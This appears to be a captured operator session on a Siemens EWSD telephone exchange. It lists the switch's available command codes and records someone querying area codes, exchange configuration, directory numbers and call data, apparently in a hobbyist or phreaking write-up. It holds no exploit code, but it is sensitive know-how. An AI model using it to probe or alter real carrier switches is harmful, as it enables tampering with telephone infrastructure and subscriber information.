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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
DISPSNPD DISPSPENTRY DISPSPFILE DISPSPLITOPT DISPSSA
DISPSSP DISPSSPRT DISPSUB DISPTARSCHED DISPTEPT
DISPTEQ DISPTEQDAT DISPTGRP DISPTGRPPAT DISPTGRPTHR
DISPTGTSTDAT DISPTHR DISPTIME DISPTIOUT DISPTJOB
DISPTMCNTL DISPTOLLCAT DISPTRABLOCK DISPTRACELST DISPTRACGR
DISPTRACKER DISPTRACNTL DISPTRAINC DISPTRAMAP DISPTRAPS
DISPTRASEP DISPTRLGRP DISPTRTVAL DISPTRUNK DISPTSG
DISPTSLFUS DISPTSP DISPTSTJOB DISPTSTRES DISPTSTSCHED
DISPUPDATE DISPUSERID DISPUTTRAC DISPWDCAT DISPWST
DISPWSTGRP DISPWSTPRT DISPX25DTE DISPX25LINK DISPX25PVC
DISPX25ROUTE DISPX25STC DISPX25TRAC DISPZOPT DMPAMAT
DMPCALLTRAC DMPCCNCTRAC DMPCPIMDMP DMPCPMEM DMPCSCTRAC
DMPDLUTRAC DMPEKTSTRAC DMPGSLTRAC DMPIOPIMDMP DMPISDNTRAC
DMPLTGBPT DMPLTGIMDMP DMPLTGTRAC DMPMODMEM DMPOSITRAC
DMPPICTRAC DMPPIOSTC DMPPIOTRAC DMPRSUIMDMP DMPRSUTRC
DMPSFGSYMP DMPSGMSG DMPSU DMPUTTRAC DMPX25STC
DMPX25TRAC DUMPFILE EDITACCESS EDITACDGRP EDITAINGRP
EDITCSANI EDITCSAUTC EDITCSDCAN EDITCSPRJCL EDITCSPROF
EDITCSPVSPDL EDITCSSCRLST EDITDIRCALL EDITEQN EDITFKMP
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AUTHOR. COMMAND CODE
CLASS
-------+-------------------------------------------------------------
EDITLCCRAX EDITLOGLINK EDITMLHG EDITMLHGL EDITORIGPT
EDITPHBC EDITPHBP EDITPHCSN EDITPHCUG EDITPHDEST
EDITPHLINE EDITPHPROF EDITPHROUT EDITSUB EDITTSP
ENDINSTALL ENDSESSION ENTRA4TPVAL ENTRAFRL ENTRAFRTIME
ENTRALIAS ENTRALMODE ENTRALPER ENTRALPRIO ENTRALTEXT
ENTRAMAMDT ENTRAMAOFFID ENTRAMASCHED ENTRAMASTC ENTRAMASTRL
ENTRAMASTUDY ENTRAPSCTRL ENTRAPSNAME ENTRAREACODE ENTRASYMKEY
ENTRATDEST ENTRAUT ENTRAUTCL ENTRC7LSETDP ENTRC7TGREL
ENTRC7THR ENTRCARRDEST ENTRCBPULS ENTRCGRPDAT ENTRCLAMSCHD
ENTRCLASSDAT ENTRCLTAR ENTRCNPATCH ENTRCPPRPCH ENTRCPTCOS
ENTRCPTRPCH ENTRCPVDNDAT ENTRCQDAT ENTRCSINFD ENTRCSPBSPDL
ENTRCTRADAT ENTRCTRLTIME ENTRCTYPFEA ENTRCXACCOS ENTRCXGFEA
ENTRCXHCOS ENTRCXLFEA ENTRCXMLHG ENTRCXMLHGL ENTRCXOFQ
ENTRCXSCHED ENTRCXSCOF ENTRCXSFEA ENTRCXSUB ENTRCXTGBIND
ENTRDESTDAT ENTRDESTSCHD ENTRDIRCALL ENTRESP ENTREXCHDATA
ENTREXCHFE ENTREXCHID ENTREXDDAT ENTRFILEPSW ENTRFKDESC
ENTRFNS ENTRGEN ENTRHCARRDAT ENTRHOLIDAY ENTRINODPCPT
ENTRINSTGEN ENTRIOPPRPCH ENTRIOPTRPCH ENTRISWTHR ENTRJXTUS
ENTRKEY ENTRLINETHR ENTRLMBLK ENTRLOCDIAL ENTRLOCDIG
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CLASS
-------+----------------------------------------------------------------
ENTRLOCKRST ENTRLOGEVENT ENTRLOGOBJ ENTRLTGBPT ENTRLTGPRPCH
ENTRLTGTRPCH ENTRMALAD ENTRMMSCHED ENTRNMCNTL ENTRNSPMPTHR
ENTROBSCALL ENTROWSCRN ENTRPATCHSEQ ENTRPATCOS ENTRPDCCHR
ENTRPDCCNTL ENTRPHCUG ENTRPHLN ENTRPHPATCH ENTRPRNAME
ENTRPTPSCHED ENTRQASSIGN ENTRROUTESW ENTRROUTETHR ENTRRSUDAT
ENTRRSUPRPCH ENTRRSUTRC ENTRRSUTRPCH ENTRSCRSCHD ENTRSLSS
ENTRSLSSMBR ENTRTARSCHED ENTRTEQDAT ENTRTGDAT ENTRTGRPPAT
ENTRTGRPTHR ENTRTGTSTDAT ENTRTHR ENTRTIME ENTRTMBLK
ENTRTMCNTL ENTRTOLLCAT ENTRTRABLOCK ENTRTRACELST ENTRTRACGR
ENTRTRAINC ENTRTRARPT ENTRTRASEP ENTRTRDAT ENTRTRTVAL
ENTRTSLFUS ENTRTSTSCHED ENTRUTTRAC EXECCMDFILE EXECEDTS8
EXECREGEN EXTDLU EXTLTU EXTRCU GENFILE
INCRAPSVN INHIBAUDIT INHIBMMRPT INHIBSSA INHIBSSPRT
INHIBWSTIC INITMD INITMO INITMT INSAFRPAT
INSROUTE LOADFWLOAD LOADLMR LOADPHRECFIL MEASMFC
MEASRETLOSS MEASTHVIOL MEASTRKSIG MERGECPT MERGEGEN
MERGELTG MERGESSP MERGEZOPT MODACPT MODAFILE
MODAFRCPT MODAFRPAT MODAINTRIG MODALIAS MODAPPL
MODAREACODE MODASYMKEY MODC7ALCOND MODC7DP MODC7LINK
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AUTHOR. COMMAND CODE
CLASS
------+----------------------------------------------------------------
MODC7LSET MODC7OPC MODCALLMON MODCARR MODCBPT
MODCCGPAR MODCGRP MODCITERA MODCLTAR MODCPE
MODCPT MODCPTGRP MODCQDAT MODCQGRP MODCSC
MODCSCGRP MODCSTMGRP MODCTYPLST MODCXAUTC MODCXCPT
MODCXDN MODCXGRP MODCXMLHG MODCXMLHGL MODCXSUB
MODDBOPT MODDBSIZE MODDBTHR MODDEST MODDESTDAT
MODDEVAUT MODDLUMOD MODDN MODDTAMON MODDVGRPLNK
MODFGRP MODFILEAUT MODFUOMTLNK MODGEN MODIDT
MODIPNUC MODJXTUS MODLIOPT MODLOGFILE MODLTG
MODLTU MODMDDAUDIT MODMGIF MODMGLINK MODMTACONN
MODNEATSADR MODNUC MODOBSCALL MODOBSID MODOMT
MODOSIADR MODPATCHSEQ MODPOSPT MODPRO MODPSW
MODPSWDAT MODQUEUE MODRECOVR MODROUTE MODROUTETHR
MODRSU MODRSUDEST MODRSULINK MODSCCPSS MODSDN
MODSECTHR MODSFG MODSLRAM MODSPENTRY MODSSA
MODSSPRT MODTARSCHED MODTEQ MODTGRP MODTGRPPAT
MODTGTSTDAT MODTIOUT MODTRLGRP MODTSG MODUSERID
MODWDCAT MODWST MODWSTGRP MODX25DTE MODX25LINK
MODZOPT MOUNTMO MOUNTTAPE PATCHDISK RECOVSSP
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CLASS
-------+----------------------------------------------------------------
RECOVSYSTEM RECPTP REDDLU REDLTU REDRCU
RELCALL RELCONN RELCYCFILE RELMTACONN RELTSTCALL
RELTSTCONN RESETCFOPT RESETEMERGOP REWINDMT RSETEXTREF
RSETFGRPATT RSETFGRPPW RSETLOG RSETMO RSETMSGLNK
RSETPIOSTC RSETPROCON RSETRECESC RSETSPLITOPT SELAENTRY
SELAFRCPT SELAFRPAT SELBILLNO SELCGRP SELCLASSDAT
SELCPTGRP SELCSLST SELCSTMGLTG SELCTYPLST SELCXGRP
SELCXGRPLTG SELDLUPORT SELDN SELDVGRP SELFUOMT
SELMAL SELMSG SELMSGRP SELPHLN SELPORT
SELSFG SELTGRPPAT SENDLOOPBACK SENDMFC SENDTRKSIG
SETALSTAT SETCFOPT SETEXTREF SETFGRPATT SETFGRPPW
SETJXTUS SETLOG SETMSGLNK SETMSGRPLNK SETPROCON
SETRECESC SETSPLITOPT SETTRLL SETUPCALL SETUPDATE
SETUPMTACONN SETUPTSTCALL SETUPTSTCONN SKIPCMD SPLITCPT
SPLITCSNPA SPLITLTG SPLITSSP SPLITZOPT SRCHALARM
SRCHCGRP SRCHSSP STARTAUDIT STARTCALLMON STARTCSWD
STARTDTAMON STARTFCP STARTHMSTAT STARTHWTRAC STARTIDS
STARTLTEST STARTOM STARTPROCESS STARTSFGSW STARTSNBERC
STATAFRL STATBA STATCCG STATCCNC STATCGRP
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M CONTINUATION TEXT 0014
8591 IDCI1 2970/01201
AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
STATCMC STATCOPL STATCOU STATCR STATDIU
STATDLU STATDLUEQ STATDLUMOD STATDLUPORT STATDPC
STATDTAMON STATIDT STATJXTUS STATLOG STATLTG
STATMB STATMLHGL STATMTACONN STATPH STATPHDN
STATPHLINE STATPORT STATPSMSL STATRCU STATRSUEQ
STATRSULPT STATSLC96 STATSN STATSSP STATSTCOIN
STATSUB STATSYP STATTEQ STATTRUNK STATWST
STATX25DAT STOPC7SEQ STOPCALLMON STOPDISP STOPDTAMON
STOPFILETRF STOPHMSTAT STOPHWTRAC STOPJOB STOPMACID
STOPMDDACT SWOFFIDTONE SWOFFTALK SWONIDTONE SWONTALK
TAKOAFRPAT TAKOROUTE TESTACALGOR TESTAMP TESTBAP
TESTBCMY TESTC7TRUNK TESTCAP TESTCMY TESTCTYPE
TESTCXATNFEA TESTDLULC TESTET TESTFCP TESTFFTFILE
TESTFS1 TESTFS2 TESTINQUERY TESTIO TESTIO1
TESTIO2 TESTIOC TESTIOP TESTIOPG TESTISUB
TESTLAU TESTLINE TESTLOOPBA TESTLPBK TESTMDD
TESTMOD TESTMTD TESTOMT TESTPHLINE TESTSLC
TESTSN TESTSSG TESTSSP TESTSUB TESTTRASEP
TESTTRTRANS TESTTRUNK TESTTSG TESTUPDATE TRANSACCTDAT
INTERRUPTION TEXT JOB 8591
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M CONTINUATION TEXT 0015
8591 IDCI1 2970/01201
AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
TRANSBUFFER TRANSFILE TRANSSYFILE TRANSTEXT UPDCNPATCH
UPDCPPRPCH UPDGEN UPDIOPPRPCH UPDLTGPRPCH UPDPHPATCH
UPDRSUPRPCH UPDSECDATA WRITEFILE WRTAMAFILE
END JOB 8591
dispaccess
PM
M EQN=
M PANAME=
M EQN= CA
XXXXX 03-02-14 05:59:14 IDCI1
M DISPACCESS:EQN= NOT EXEC'D
8787 IDCI1 2969/10991
DISPACCESS:EQN= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8787
dispareacode
PM
M NPA=505
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:00:15 IDCI1
M DISPAREACODE:NPA=505;
8790 IDCI1 2992/08380
DISPAREACODE:NPA=505;
NUMBERING PLAN AREA CODES
NPA ALIAS
-------+-------------------------------------------------------
505
END JOB 8790 EXEC'D
DISPEXCHDATA
PM
M FORMAT=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:00:54 IDCI1
M DISPEXCHDATA; EXEC'D
8794 IDCI1 2992/01985
DISPEXCHDATA; EXEC'D
EXCHANGE DATA MASKNO:01985
ROTADN:
LATA: 664 (could you have guessed it?)
ARRNGB: 5
ACRNGB: 5
ARSPC: 2
ACSPC: 2
MAXCLATO: 3
MAXCLAIA: 3
PREFIX: 1
SCFL: 5
SCFMXSL: 6
SCRMXSL: 6
DRCWMXSL: 6
R22P: 000
R20P: 0
LCORG1: 0
R23P: 0
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0001
8794 IDCI1 2992/01985
INLATA: 999
MAXINTRG: 6
SCPORIG1: 0
PHNID: 0
PHDNIC: 3140
PHINIC: 3142
PHSID: 1560
PHCSI: FFFF
PHE164: 0
NCASDEST: 0 -0 -0 -0
AINSSN: 0
ISUPHCNT: 20
NPAY1: 000-0
NPAY2: 000-0
NPAY3: 000-0
NPAY4: 000-0
SCPRAX: 0
VADIMDDN: 9999999
LECIC: 10000
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0002
8794 IDCI1 2992/01985
LNPORIG1: 0
LNPRAX: 0
ONAT: 18
TNAT: 18
FCDG: 12
FCDGDUR: 4
DEFRAX: 000
TGQMAX: 255
ONEPLUS:
SPCFCARR:
INTRNATN:
ZPLUS:
ZMINUS:
OCDBTRIG:
ONATRIG:
R8:
R9:
R10:
FFPTSTHR: 3
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0003
8794 IDCI1 2992/01985
FFPTSTIV: 5
FFPRTIM: 3
FFPACTIM: 10
ICBNDTIM: 24
SCTDN: 0000000000
CWVASDN: 0000000000
CWVANSDN: 0000000000
AINLNPSN: 000
SCTORIG1: 0
SCTRAX: 0
CWVORIG1: 0
CWVRAX: 0
R24P: 0
R25P: 0
R26P: 0
R27P: 0
R28P: 0
R29P: 0
R30P: 0
INTERRUPTION TEXT JOB 8794
XXXXX 03-02-14 06:00:54 IDCI1
M CONTINUATION TEXT 0004
8794 IDCI1 2992/01985
R31P: 0
BCHDIR: 0000000
DEFORIG1: 000
PYIIDIG:
R32P: 0
DEST:
MASKNO:04554
OFFOPT: AAICND &AARND &NACC &NOACUS &NAINAMA
& AINANNE &NAINCFDA &NAINCOL &INLNP &NALWZERO
& NARBANON &NARBNUN &NOARUS &NAUSS7L &BCFBL
& BCFBLC &BCFDA &BCFDAC &BCFV &BCW
& NBIANN &BLK4D01 &BSPD &NCASRLT &CCNDIC
& CF2CARR &NCFACSAC &NCFAINAC &NCFBLANN &NCFDAANN
& CFDAIEX &NCFDARCA &NCFPFANN &NOCFVANN &CIDSFR
& NCIPDIW &CLCDDNDA &NOCNAMPB &NCNDBUS &NOCNDUS
& COTUS &NCRNKBCK &NCSTCRNK &CTSEZ &DAIPC
& ACFDAZRC &NDISNE &DLRNSWO &DNPRUNIQ &NDRCWUS
& NODTMFOV &EACCSUS &NEACR &NETGR &NEVALORG
& NEXTSP &FGD &NFKAGGAR &NGETSACG &NGETSNMO
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0005
8794 IDCI1 2992/01985
& NHACKAA &NHACKCHK &NINACALM &INAT15 &NOINCWS
& NINTERCL &INTRACP &NINTRNAT &IPHRLD &NLCNAMD
& NLKCNAM &LSTINN &NOLTCS &NLTGIDTR &NMLPP
& MLPPART &NMTABST >TR800 &MTPT7LO &MWRDT
& EXPRIV &NNONPRE0 &NNONPRE1 &NNP0COIN &NNP0HTEL
& NNP0LESS &NNP1COIN &NNP1HTEL &NNP1LESS &NOCDBTRG
& NOHDPQS &NONATRIG &TWOLCOTA &NONEPLUS &PERMTR
& PICOD &NPORTOVR &PRECUT &PREFIX &NPRINETS
& NPSDCCOV &NPTAFFP &RACF7 &RACFNOCC &RCTEWSD
& RDTCATR &REATACNA &REATARNA &REVERT &NRLTRELS
& NRSCBSCD &S10CSDN &NSASCER &NSASCXR &CFDAPR
& NOSCFUS &SCICP &NSCRNII &NOSCRUS &NSCT
& NSCTCT &SDNCFV &NOSLPRIV &SLVP1A &NSPCFCAR
& NOSPLNPA &NSRPMWI &NSS7RR &STCIV60 &NSTDCC26
& CCNCSNS &NSUSTWC &NSUSTWCA &NSWCUNAN &TENDGTT
& PIAMBRES &NUSEII25 &USTWC &NVADENH &NZMINUS
& NZMIPIC &NZPLUS &NR06I &NR09I &NR45I
& NR46I &NR47I &NR48I &NR49I &NR50I
& NR51I &NR52I &NR53I &NR54I &NR55I
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0006
8794 IDCI1 2992/01985
& NR56I &NR57I &NR58I &NR59I &NR60I
& NR61I &NR62I &NR63I &NR64I &NR65I
& NR66I &NR67I &NR68I &NR69I &NR70I
& NR71I &NR72I &NR73I &NR74I &NR75I
& NR76I &NR77I &NR78I &NR79I &NR80I
& NR81I &NR82I &NR83I &NR84I &NR85I
& NR86I &NR87I &NR88I &NR89I &NR90I
& NR91I
INTERRUPTION TEXT JOB 8794
XXXXX 03-02-1406:00:58 IDCI1
M CONTINUATION TEXT 0007
8794 IDCI1 2992/09846
OFFICE SCREENING II DIGITS
| II DIGIT 2
II DIGIT 1 |
| 0 1 2 3 4 5 6 7 8 9
-----------|-----------------------------------------
|
0 | 00 00 00 00 00 00 00 00 00 00
1 | 00 00 00 00 00 00 00 00 00 00
2 | 00 00 00 00 00 00 00 00 00 00
3 | 00 00 00 00 00 00 00 00 00 00
4 | 00 00 00 00 00 00 00 00 00 00
5 | 00 00 00 00 00 00 00 00 00 00
6 | 00 00 00 00 00 00 00 00 00 00
7 | 00 00 00 00 00 00 00 00 00 00
8 | 00 00 00 00 00 00 00 00 00 00
9 | 00 00 00 00 00 00 00 00 00 00
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0008
8794 IDCI1 2992/09870
AIN EXCLUSIONS
DETECTION FEATURE
POINT
NO (MORE) DATA FOR DISPLAY AVAILABLE
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0009
8794 IDCI1 2992/09129
RAX DATA TABLE
RAX RAX LRN RAX LATA RAX LRN TYPE
------+-------------+-----------+------------
NO (MORE) DATA FOR DISPLAY AVAILABLE
INTERRUPTION TEXT JOB 8794
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M CONTINUATION TEXT 0010
8794 IDCI1 2992/09130
LRN DATA TABLE
NO (MORE) DATA FOR DISPLAY AVAILABLE
END JOB 8794
(watch for siemensgloss.txt, but for now visit: http://education.icn.siemens.com/doc/jobaids/glossary/index.htm)
dispdn
PM
M NPA=505
M DN=xxx
M FORMAT=
M READY TO EXECUTE <;
CE
8796 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPDN : 1 ERROR(S)
DN DOES NOT EXIST MASKNO:10059
END OF ERROR MESSAGE JOB 8796 MASKNO:10041
DN=dispdn
M DN=xxx0000
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:01:56 IDCI1
M DISPDN:NPA=505,DN=xxx0000;
8796 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx0000;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx0000 SUB xxx YES
END JOB 8796 EXEC'D
dispdn
PM
M NPA=505
M DN=xxx9922
M FORMAT=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:02:28 IDCI1
M DISPDN:NPA=505,DN=xxx9922;
8803 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx9922;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx9922 SUB xxx YES
END JOB 8803 EXEC'D
dispdn
PM
M NPA=505
M DN=xxx9937
M FORMAT=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:03:09 IDCI1
M DISPDN:NPA=505,DN=xxx9937;
8807 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx9937;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx9937 FREE UNOBDN xxx YES
END JOB 8807 EXEC'D
dispdircall
PM
M CHTYPE=
M CHTYPE=sub
8812 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPDIRCALL : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
CHTYPE =<SUB>
END OF ERROR MESSAGE JOB 8812 MASKNO:10041
CHTYPE= CA
XXXXX 03-02-14 06:04:27 IDCI1
M DISPDIRCALL:CHTYPE= NOT EXEC'D
8812 IDCI1 2969/10991
DISPDIRCALL:CHTYPE= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8812
dispholiday
PM
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:04:42 IDCI1
M DISPHOLIDAY; EXEC'D
8814 IDCI1 2992/06969
DISPHOLIDAY; EXEC'D
INTERNATIONAL HOLIDAY TABLE
FIXED HOLIDAYS HALF HOLIDAY CATEGORY
--------------------------------------------------------------------
FIXED HOLIDAYS FULL HOLIDAY CATEGORY
--------------------------------------------------------------------
NONFIXED HOLIDAYS FULL HOLIDAY CATEGORY
------------------------------------------------------------------------
NO (MORE) DATA FOR DISPLAY AVAILABLE
END TEXT JOB 8814
XXXXX 03-02-14 06:04:42 IDCI1
M DISPHOLIDAY; EXEC'D
8814 IDCI1 2992/06993
DISPHOLIDAY; EXEC'D
NATIONAL HOLIDAY TABLE
FIXED HOLIDAYS FULL HOLIDAY CATEGORY
--------------------------------------------------------------------
NONFIXED HOLIDAYS FULL HOLIDAY CATEGORY
------------------------------------------------------------------------
NO (MORE) DATA FOR DISPLAY AVAILABLE
END JOB 8814
dispdisk
PM
M FILE=
M MDD=
M FILE=
M MDD=
M FILE=all
M MDD=all
8815 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPDISK : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
MDD =<ALL>
END OF ERROR MESSAGE JOB 8815 MASKNO:10041
MDD= CA
XXXXX 03-02-14 06:05:08 IDCI1
M DISPDISK:FILE=ALL,MDD= NOT EXEC'D
8815 IDCI1 2969/10991
DISPDISK:FILE=ALL,MDD= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8815
seldn
PM
M NPA=505
M DN=xxx9937
M INCEPT=free
8818 MASKNO:10001
M COMMAND ERROR MESSAGE FOR SELDN : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
INCEPT =<FREE>
END OF ERROR MESSAGE JOB 8818 MASKNO:10041
INCEPT= CA
XXXXX 03-02-14 06:06:17 IDCI1
M SELDN:NPA=505,DN=xxx9937,INCEPT= NOT EXEC'D
8818 IDCI1 2969/10991
SELDN:NPA=505,DN=xxx9937,INCEPT= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8818
dispconn
PM
M EQT=
M NPA=505
M EQN=xxx0000
8822 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCONN : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<xxx0000>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =xxx0000<>
END OF ERROR MESSAGE JOB 8822 MASKNO:10041
EQN= CA
XXXXX 03-02-14 06:07:52 IDCI1
M DISPCONN:NPA=505,EQN= NOT EXEC'D
8822 IDCI1 2969/10991
DISPCONN:NPA=505,EQN= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8822
callids
PM
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:08:50 IDCI1
M *** END CALL IDS ***
8826 IDCI1 3087/00000
*** END CALL IDS ***
END JOB 8826
dispcalldat
PM
M EQN=xxxxxx0000
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<xxxxxx0000>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =xxxxxx0000<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN=xxx0000
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<xxx0000>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =xxx0000<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN=?
M EQN=help
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<HELP>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =HELP<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN=505
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 1 ERROR(S)
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =505<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN=xxx
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 1 ERROR(S)
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =xxx<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN=xxxxxx
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<xxxxxx>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =xxxxxx<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN=xxxxxx9922
8828 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCALLDAT : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<xxxxxx9922>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =xxxxxx9922<>
END OF ERROR MESSAGE JOB 8828 MASKNO:10041
EQN= CA
XXXXX 03-02-14 06:10:42 IDCI1
M DISPCALLDAT:EQN= NOT EXEC'D
8828 IDCI1 2969/10991
DISPCALLDAT:EQN= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8828
dispconn
PM
M EQT=;
CE
XXXXX 03-02-14 06:10:59 IDCI1
M DISPCONN; NOT EXEC'D
8832 IDCI1 2969/10990
DISPCONN; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN
DN
TGNO
AUTC
ANI
MGIF
END JOB 8832
dispcarr
PM
M CAC=222
8836 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCARR : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
CAC =<222>
END OF ERROR MESSAGE JOB 8836 MASKNO:10041
CAC= XXXXX 03-02-14 06:12:37 IDCI1
M DISPCARR:CAC= NOT EXEC'D
8836 IDCI1 2969/10991
DISPCARR:CAC= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8836
accpe
epcall
PM
M TPNO=;
CE
XXXXX 03-02-14 06:12:48 IDCI1
M ACCEPCALL; NOT EXEC'D
8845 IDCI1 3068/10011
ACCEPCALL; NOT EXEC'D
JN MISSING MASKNO:10011
END JOB 8845
dispcxdn
PM
M CXGRP=1
M CXDN=xxxxxx9922
8849 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPCXDN : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
CXDN =<xxxxxx9922>
END OF ERROR MESSAGE JOB 8849 MASKNO:10041
CXDN=xxx9922
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:14:18 IDCI1
M DISPCXDN:CXGRP=1,CXDN=xxx9922;
8849 IDCI1 3047/02322
DISPCXDN:CXGRP=1,CXDN=xxx9922;
CENTREX DIRECTORY NUMBER DATA
CXGRP DNCODE/DEST CXDN SFGN ACCOS DNDEST
-------+-------------+------------------+------+---------+-------
NO (MORE) DATA FOR DISPLAY AVAILABLE
END JOB 8849 EXEC'D
dispdn
PM
M NPA= 505
M DN=xxx9922
M FORMAT=1
8851 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPDN : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
FORMAT =<1>
END OF ERROR MESSAGE JOB 8851 MASKNO:10041
FORMAT=all
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:15:02 IDCI1
M DISPDN:NPA=505,DN=xxx9922,FORMAT=ALL;
8851 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx9922,FORMAT=ALL;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx9922 SUB xxx YES
END JOB 8851 EXEC'D
dispdircall
PM
M CHTYPE=
M CHTYPE= sub
8854 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPDIRCALL : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
CHTYPE =<SUB>
END OF ERROR MESSAGE JOB 8854 MASKNO:10041
CHTYPE= CA
XXXXX 03-02-14 06:15:35 IDCI1
M DISPDIRCALL:CHTYPE= NOT EXEC'D
8854 IDCI1 2969/10991
DISPDIRCALL:CHTYPE= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8854
dispdndest
PM
